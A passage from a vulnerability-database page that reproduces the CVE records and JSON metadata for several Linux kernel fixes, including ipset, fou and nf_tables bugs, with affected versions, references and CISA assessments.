        },
        {
          "url": "https://git.kernel.org/stable/c/6f9f2e498eae7897ba5d3e33908917f68ff4abcc"
        },
        {
          "url": "https://git.kernel.org/stable/c/98bc7e26e14fbb26a6abf97603d59532475e97f8"
        }
      ],
      "title": "pstore/zone: Add a null pointer check to the psz_kmsg_read",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-35940",
    "datePublished": "2024-05-19T10:10:45.582Z",
    "dateReserved": "2024-05-17T13:50:33.131Z",
    "dateUpdated": "2026-05-12T11:53:01.633Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-40993 (GCVE-0-2024-40993)

Vulnerability from cvelistv5 – Published: 2024-07-12 12:37 – Updated: 2026-05-12 11:56

Title

netfilter: ipset: Fix suspicious rcu_dereference_protected()

Summary

In the Linux kernel, the following vulnerability has been resolved: netfilter: ipset: Fix suspicious rcu_dereference_protected() When destroying all sets, we are either in pernet exit phase or are executing a "destroy all sets command" from userspace. The latter was taken into account in ip_set_dereference() (nfnetlink mutex is held), but the former was not. The patch adds the required check to rcu_dereference_protected() in ip_set_dereference().

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/3799d02ae4208af08…
https://git.kernel.org/stable/c/72d9611968867cc4c…
https://git.kernel.org/stable/c/523bed6489e089dd8…
https://git.kernel.org/stable/c/788d585e62f487bc4…
https://git.kernel.org/stable/c/94dd411c18d7fff9e…
https://git.kernel.org/stable/c/3fc09e1ca854bc234…
https://git.kernel.org/stable/c/8ecd06277a7664f4e…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: c0761d1f1ce1d5b85b5e82bbb714df12de1aa8c3 , < 3799d02ae4208af08e81310770d8754863a246a1 (git) Affected: 93b53c202b51a69e42ca57f5a183f7e008e19f83 , < 72d9611968867cc4c5509e7708b1507d692b797a (git) Affected: 0f1bb77c6d837c9513943bc7c08f04c5cc5c6568 , < 523bed6489e089dd8040e72453fb79da47b144c2 (git) Affected: 390b353d1a1da3e9c6c0fd14fe650d69063c95d6 , < 788d585e62f487bc4536d454937f737b70d39a33 (git) Affected: 2ba35b37f780c6410bb4bba9c3072596d8576702 , < 94dd411c18d7fff9e411555d5c662d29416501e4 (git) Affected: 90ae20d47de602198eb69e6cd7a3db3420abfc08 , < 3fc09e1ca854bc234e007a56e0f7431f5e2defb5 (git) Affected: 4e7aaa6b82d63e8ddcbfb56b4fd3d014ca586f10 , < 8ecd06277a7664f4ef018abae3abd3451d64e7a6 (git)
Linux	Linux	Affected: 6.1.95 , < 6.1.96 (semver) Affected: 6.6.35 , < 6.6.36 (semver) Affected: 6.9.6 , < 6.9.7 (semver)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T21:58:56.686Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/3799d02ae4208af08e81310770d8754863a246a1"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/72d9611968867cc4c5509e7708b1507d692b797a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/523bed6489e089dd8040e72453fb79da47b144c2"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/788d585e62f487bc4536d454937f737b70d39a33"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/94dd411c18d7fff9e411555d5c662d29416501e4"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/3fc09e1ca854bc234e007a56e0f7431f5e2defb5"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/8ecd06277a7664f4ef018abae3abd3451d64e7a6"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-40993",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T17:01:41.687653Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:34:20.022Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:56:05.682Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/netfilter/ipset/ip_set_core.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "3799d02ae4208af08e81310770d8754863a246a1",
              "status": "affected",
              "version": "c0761d1f1ce1d5b85b5e82bbb714df12de1aa8c3",
              "versionType": "git"
            },
            {
              "lessThan": "72d9611968867cc4c5509e7708b1507d692b797a",
              "status": "affected",
              "version": "93b53c202b51a69e42ca57f5a183f7e008e19f83",
              "versionType": "git"
            },
            {
              "lessThan": "523bed6489e089dd8040e72453fb79da47b144c2",
              "status": "affected",
              "version": "0f1bb77c6d837c9513943bc7c08f04c5cc5c6568",
              "versionType": "git"
            },
            {
              "lessThan": "788d585e62f487bc4536d454937f737b70d39a33",
              "status": "affected",
              "version": "390b353d1a1da3e9c6c0fd14fe650d69063c95d6",
              "versionType": "git"
            },
            {
              "lessThan": "94dd411c18d7fff9e411555d5c662d29416501e4",
              "status": "affected",
              "version": "2ba35b37f780c6410bb4bba9c3072596d8576702",
              "versionType": "git"
            },
            {
              "lessThan": "3fc09e1ca854bc234e007a56e0f7431f5e2defb5",
              "status": "affected",
              "version": "90ae20d47de602198eb69e6cd7a3db3420abfc08",
              "versionType": "git"
            },
            {
              "lessThan": "8ecd06277a7664f4ef018abae3abd3451d64e7a6",
              "status": "affected",
              "version": "4e7aaa6b82d63e8ddcbfb56b4fd3d014ca586f10",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/netfilter/ipset/ip_set_core.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "6.1.96",
              "status": "affected",
              "version": "6.1.95",
              "versionType": "semver"
            },
            {
              "lessThan": "6.6.36",
              "status": "affected",
              "version": "6.6.35",
              "versionType": "semver"
            },
            {
              "lessThan": "6.9.7",
              "status": "affected",
              "version": "6.9.6",
              "versionType": "semver"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.96",
                  "versionStartIncluding": "6.1.95",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.36",
                  "versionStartIncluding": "6.6.35",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.7",
                  "versionStartIncluding": "6.9.6",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: ipset: Fix suspicious rcu_dereference_protected()\n\nWhen destroying all sets, we are either in pernet exit phase or\nare executing a \"destroy all sets command\" from userspace. The latter\nwas taken into account in ip_set_dereference() (nfnetlink mutex is held),\nbut the former was not. The patch adds the required check to\nrcu_dereference_protected() in ip_set_dereference()."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:23:52.803Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/3799d02ae4208af08e81310770d8754863a246a1"
        },
        {
          "url": "https://git.kernel.org/stable/c/72d9611968867cc4c5509e7708b1507d692b797a"
        },
        {
          "url": "https://git.kernel.org/stable/c/523bed6489e089dd8040e72453fb79da47b144c2"
        },
        {
          "url": "https://git.kernel.org/stable/c/788d585e62f487bc4536d454937f737b70d39a33"
        },
        {
          "url": "https://git.kernel.org/stable/c/94dd411c18d7fff9e411555d5c662d29416501e4"
        },
        {
          "url": "https://git.kernel.org/stable/c/3fc09e1ca854bc234e007a56e0f7431f5e2defb5"
        },
        {
          "url": "https://git.kernel.org/stable/c/8ecd06277a7664f4ef018abae3abd3451d64e7a6"
        }
      ],
      "title": "netfilter: ipset: Fix suspicious rcu_dereference_protected()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-40993",
    "datePublished": "2024-07-12T12:37:36.453Z",
    "dateReserved": "2024-07-12T12:17:45.606Z",
    "dateUpdated": "2026-05-12T11:56:05.682Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-46865 (GCVE-0-2024-46865)

Vulnerability from cvelistv5 – Published: 2024-09-27 12:42 – Updated: 2026-05-12 11:58

Title

fou: fix initialization of grc

Summary

In the Linux kernel, the following vulnerability has been resolved: fou: fix initialization of grc The grc must be initialize first. There can be a condition where if fou is NULL, goto out will be executed and grc would be used uninitialized.

Severity ?

No CVSS data available.

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/392f6a97fcbecc64f…
https://git.kernel.org/stable/c/16ff0895283058b0f…
https://git.kernel.org/stable/c/5d537b8d900514509…
https://git.kernel.org/stable/c/7ae890ee19479eeeb…
https://git.kernel.org/stable/c/aca06c617c83295f0…
https://git.kernel.org/stable/c/4c800227716712507…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 231c235d2f7a66f018f172e26ffd47c363f244ef , < 392f6a97fcbecc64f0c00058b2db5bb0e4b8cc3e (git) Affected: 4494bccb52ffda22ce5a1163a776d970e6229e08 , < 16ff0895283058b0f96d4fe277aa25ee096f0ea8 (git) Affected: d7567f098f54cb53ee3cee1c82e3d0ed9698b6b3 , < 5d537b8d900514509622ce92330b70d2e581d409 (git) Affected: 1df42be305fe478ded1ee0c1d775f4ece713483b , < 7ae890ee19479eeeb87724cca8430b5cb3660c74 (git) Affected: c46cd6aaca81040deaea3500ba75126963294bd9 , < aca06c617c83295f0caa486ad608fbef7bdc11e8 (git) Affected: 7e4196935069947d8b70b09c1660b67b067e75cb , < 4c8002277167125078e6b9b90137bdf443ebaa08 (git)
Linux	Linux	Affected: 5.10.226 , < 5.10.227 (semver) Affected: 5.15.167 , < 5.15.168 (semver) Affected: 6.1.110 , < 6.1.111 (semver) Affected: 6.6.51 , < 6.6.52 (semver) Affected: 6.10.10 , < 6.10.11 (semver)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-46865",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-29T13:42:07.132296Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-29T13:43:27.114Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:19:47.627Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:58:02.422Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/ipv4/fou_core.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "392f6a97fcbecc64f0c00058b2db5bb0e4b8cc3e",
              "status": "affected",
              "version": "231c235d2f7a66f018f172e26ffd47c363f244ef",
              "versionType": "git"
            },
            {
              "lessThan": "16ff0895283058b0f96d4fe277aa25ee096f0ea8",
              "status": "affected",
              "version": "4494bccb52ffda22ce5a1163a776d970e6229e08",
              "versionType": "git"
            },
            {
              "lessThan": "5d537b8d900514509622ce92330b70d2e581d409",
              "status": "affected",
              "version": "d7567f098f54cb53ee3cee1c82e3d0ed9698b6b3",
              "versionType": "git"
            },
            {
              "lessThan": "7ae890ee19479eeeb87724cca8430b5cb3660c74",
              "status": "affected",
              "version": "1df42be305fe478ded1ee0c1d775f4ece713483b",
              "versionType": "git"
            },
            {
              "lessThan": "aca06c617c83295f0caa486ad608fbef7bdc11e8",
              "status": "affected",
              "version": "c46cd6aaca81040deaea3500ba75126963294bd9",
              "versionType": "git"
            },
            {
              "lessThan": "4c8002277167125078e6b9b90137bdf443ebaa08",
              "status": "affected",
              "version": "7e4196935069947d8b70b09c1660b67b067e75cb",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/ipv4/fou_core.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "5.10.227",
              "status": "affected",
              "version": "5.10.226",
              "versionType": "semver"
            },
            {
              "lessThan": "5.15.168",
              "status": "affected",
              "version": "5.15.167",
              "versionType": "semver"
            },
            {
              "lessThan": "6.1.111",
              "status": "affected",
              "version": "6.1.110",
              "versionType": "semver"
            },
            {
              "lessThan": "6.6.52",
              "status": "affected",
              "version": "6.6.51",
              "versionType": "semver"
            },
            {
              "lessThan": "6.10.11",
              "status": "affected",
              "version": "6.10.10",
              "versionType": "semver"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.227",
                  "versionStartIncluding": "5.10.226",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.168",
                  "versionStartIncluding": "5.15.167",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.111",
                  "versionStartIncluding": "6.1.110",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.52",
                  "versionStartIncluding": "6.6.51",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.11",
                  "versionStartIncluding": "6.10.10",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nfou: fix initialization of grc\n\nThe grc must be initialize first. There can be a condition where if\nfou is NULL, goto out will be executed and grc would be used\nuninitialized."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:38:03.171Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/392f6a97fcbecc64f0c00058b2db5bb0e4b8cc3e"
        },
        {
          "url": "https://git.kernel.org/stable/c/16ff0895283058b0f96d4fe277aa25ee096f0ea8"
        },
        {
          "url": "https://git.kernel.org/stable/c/5d537b8d900514509622ce92330b70d2e581d409"
        },
        {
          "url": "https://git.kernel.org/stable/c/7ae890ee19479eeeb87724cca8430b5cb3660c74"
        },
        {
          "url": "https://git.kernel.org/stable/c/aca06c617c83295f0caa486ad608fbef7bdc11e8"
        },
        {
          "url": "https://git.kernel.org/stable/c/4c8002277167125078e6b9b90137bdf443ebaa08"
        }
      ],
      "title": "fou: fix initialization of grc",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-46865",
    "datePublished": "2024-09-27T12:42:53.691Z",
    "dateReserved": "2024-09-11T15:12:18.294Z",
    "dateUpdated": "2026-05-12T11:58:02.422Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-35900 (GCVE-0-2024-35900)

Vulnerability from cvelistv5 – Published: 2024-05-19 08:34 – Updated: 2026-05-12 11:52

Title

netfilter: nf_tables: reject new basechain after table flag update

Summary

In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_tables: reject new basechain after table flag update When dormant flag is toggled, hooks are disabled in the commit phase by iterating over current chains in table (existing and new). The following configuration allows for an inconsistent state: add table x add chain x y { type filter hook input priority 0; } add table x { flags dormant; } add chain x w { type filter hook input priority 1; } which triggers the following warning when trying to unregister chain w which is already unregistered. [ 127.322252] WARNING: CPU: 7 PID: 1211 at net/netfilter/core.c:50 1 __nf_unregister_net_hook+0x21a/0x260 [...] [ 127.322519] Call Trace: [ 127.322521] <TASK> [ 127.322524] ? __warn+0x9f/0x1a0 [ 127.322531] ? __nf_unregister_net_hook+0x21a/0x260 [ 127.322537] ? report_bug+0x1b1/0x1e0 [ 127.322545] ? handle_bug+0x3c/0x70 [ 127.322552] ? exc_invalid_op+0x17/0x40 [ 127.322556] ? asm_exc_invalid_op+0x1a/0x20 [ 127.322563] ? kasan_save_free_info+0x3b/0x60 [ 127.322570] ? __nf_unregister_net_hook+0x6a/0x260 [ 127.322577] ? __nf_unregister_net_hook+0x21a/0x260 [ 127.322583] ? __nf_unregister_net_hook+0x6a/0x260 [ 127.322590] ? __nf_tables_unregister_hook+0x8a/0xe0 [nf_tables] [ 127.322655] nft_table_disable+0x75/0xf0 [nf_tables] [ 127.322717] nf_tables_commit+0x2571/0x2620 [nf_tables]

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/6d12f21f8bbe23fde…
https://git.kernel.org/stable/c/41bad13c0e8a5a2b4…
https://git.kernel.org/stable/c/7b6fba6918714afee…
https://git.kernel.org/stable/c/8ba81dca416adf82f…
https://git.kernel.org/stable/c/745cf6a843896cdac…
https://git.kernel.org/stable/c/420132bee3d0136b7…
https://git.kernel.org/stable/c/e95bb4cba94c018be…
https://git.kernel.org/stable/c/994209ddf4f430946…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: bf8083bbf8fa202e6e5316bbd99759ab82bfe7a3 , < 6d12f21f8bbe23fde25b77c2bf5973c136b8bef8 (git) Affected: e10f661adc556c4969c70ddaddf238bffdaf1e87 , < 41bad13c0e8a5a2b47a7472cced922555372daab (git) Affected: d9c4da8cb74e8ee6e58a064a3573aa37acf6c935 , < 7b6fba6918714afee3e17796113ccab636255c7b (git) Affected: 179d9ba5559a756f4322583388b3213fe4e391b0 , < 8ba81dca416adf82fc5a2a23abc1a8cc02ad32fb (git) Affected: 179d9ba5559a756f4322583388b3213fe4e391b0 , < 745cf6a843896cdac8766c74379300ed73c78830 (git) Affected: 179d9ba5559a756f4322583388b3213fe4e391b0 , < 420132bee3d0136b7fba253a597b098fe15493a7 (git) Affected: 179d9ba5559a756f4322583388b3213fe4e391b0 , < e95bb4cba94c018be24b11f017d1c55dd6cda31a (git) Affected: 179d9ba5559a756f4322583388b3213fe4e391b0 , < 994209ddf4f430946f6247616b2e33d179243769 (git)
Linux	Linux	Affected: 5.13 Unaffected: 0 , < 5.13 (semver) Unaffected: 5.4.274 , ≤ 5.4.* (semver) Unaffected: 5.10.215 , ≤ 5.10.* (semver) Unaffected: 5.15.154 , ≤ 5.15.* (semver) Unaffected: 6.1.85 , ≤ 6.1.* (semver) Unaffected: 6.6.26 , ≤ 6.6.* (semver) Unaffected: 6.8.5 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T03:21:49.034Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/6d12f21f8bbe23fde25b77c2bf5973c136b8bef8"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/41bad13c0e8a5a2b47a7472cced922555372daab"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/7b6fba6918714afee3e17796113ccab636255c7b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/8ba81dca416adf82fc5a2a23abc1a8cc02ad32fb"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/745cf6a843896cdac8766c74379300ed73c78830"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/420132bee3d0136b7fba253a597b098fe15493a7"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e95bb4cba94c018be24b11f017d1c55dd6cda31a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/994209ddf4f430946f6247616b2e33d179243769"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-35900",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T15:41:08.192403Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:33:16.096Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:52:36.621Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/netfilter/nf_tables_api.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "6d12f21f8bbe23fde25b77c2bf5973c136b8bef8",
              "status": "affected",
              "version": "bf8083bbf8fa202e6e5316bbd99759ab82bfe7a3",
              "versionType": "git"
            },
            {
              "lessThan": "41bad13c0e8a5a2b47a7472cced922555372daab",
              "status": "affected",
              "version": "e10f661adc556c4969c70ddaddf238bffdaf1e87",
              "versionType": "git"
            },
            {
              "lessThan": "7b6fba6918714afee3e17796113ccab636255c7b",
              "status": "affected",
              "version": "d9c4da8cb74e8ee6e58a064a3573aa37acf6c935",
              "versionType": "git"
            },
            {
              "lessThan": "8ba81dca416adf82fc5a2a23abc1a8cc02ad32fb",
              "status": "affected",
              "version": "179d9ba5559a756f4322583388b3213fe4e391b0",
              "versionType": "git"
            },
            {
              "lessThan": "745cf6a843896cdac8766c74379300ed73c78830",
              "status": "affected",
              "version": "179d9ba5559a756f4322583388b3213fe4e391b0",
              "versionType": "git"
            },
            {
              "lessThan": "420132bee3d0136b7fba253a597b098fe15493a7",
              "status": "affected",
              "version": "179d9ba5559a756f4322583388b3213fe4e391b0",
              "versionType": "git"
            },
            {
              "lessThan": "e95bb4cba94c018be24b11f017d1c55dd6cda31a",
              "status": "affected",
              "version": "179d9ba5559a756f4322583388b3213fe4e391b0",
              "versionType": "git"
            },
            {
              "lessThan": "994209ddf4f430946f6247616b2e33d179243769",
              "status": "affected",
              "version": "179d9ba5559a756f4322583388b3213fe4e391b0",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/netfilter/nf_tables_api.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.13"
            },
            {
              "lessThan": "5.13",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.274",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.215",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.154",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.85",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.26",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.5",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.274",
                  "versionStartIncluding": "5.4.262",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.215",
                  "versionStartIncluding": "5.10.202",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.154",
                  "versionStartIncluding": "5.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.85",
                  "versionStartIncluding": "5.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.26",
                  "versionStartIncluding": "5.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.5",
                  "versionStartIncluding": "5.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "5.13",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
